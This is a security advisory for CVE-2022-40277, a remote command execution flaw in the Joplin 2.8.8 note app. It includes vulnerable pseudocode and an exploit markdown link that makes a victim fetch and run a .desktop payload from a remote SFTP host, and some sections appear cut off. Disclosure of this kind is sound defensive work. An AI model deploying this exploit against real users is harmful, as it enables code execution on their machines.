Joplin 2.8.8 - Remote Command Execution

Summary

Affected versions	Version 2.8.8
State	Public
Release date	2022-09-26

Vulnerability

Kind	Remote command execution
Rule	004. Remote command execution
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSSv3 Base Score	7.7
Exploit available	Yes
CVE ID(s)	CVE-2022-40277

the shell.openExternal function.

Vulnerability

This vulnerability occurs due to improper scheme/protocol validation of external URLs. Here is a small example to give you a better understanding of vulnerability.

Here is a simplified pseudocode:

```
function openInternally (url) {
    parsed_url = new URL(url)
    if (parsed_url.protocol === "https:"){
        if (new RegExp("application-domain.com", "i").test(parsed_url.host)) {
            return true;
        }
    }
    return false;
}
```

```
JavaScript
webContents.on("new-window", function (event, url, disposition, options) {
      if (openInternally(url)) {
              if ( ... [check of the tab supporting, nothing important] ... ) {
                  var newTab = createNewTab({ ... [settings] ... });
                  preventDefault(newTab);
              } else {
```


Basically what the application is doing is sending to shell.openExternal(url), any url present in the markdown file.

Exploitation requirements

To achieve the RCE, the attacker will abuse certain schemes/protocols. Some of these only work on windows, others on MACos, others only work correctly under certain specific Linux distributions. In my case, I used Xubuntu 20.04 (Xfce) to simulate a victim. I chose this distribution because in its default configuration it executes the payload.desktop file after mounting the remote location where the payload file is located. In other Linux distributions by default these files are not executed once the remote location is mounted.

In the resources section I will provide you with support material so that you can understand in greater depth what I have just explained.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Joplin:

exploit.md

```
[exploit](sftp://user@server/uploads/payload.desktop)
```

payload.desktop

In the Exec parameter you put the command you want the victim to execute.

Evidence of exploitation

Our security policy

- Version: Joplin 2.8.8
- Operating System: GNU/Linux - Xubuntu 20.04 (Xfce)

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/laurent22/joplin

Timeline

- 2022-09-07
  Vulnerability discovered.
- 2022-09-08
  Vendor contacted.
- 2022-09-26
  Public Disclosure.

Solutions

DevSecOps

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing

Ethical Hacking

Vulnerability Management

Blog

Certifications

Partners

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details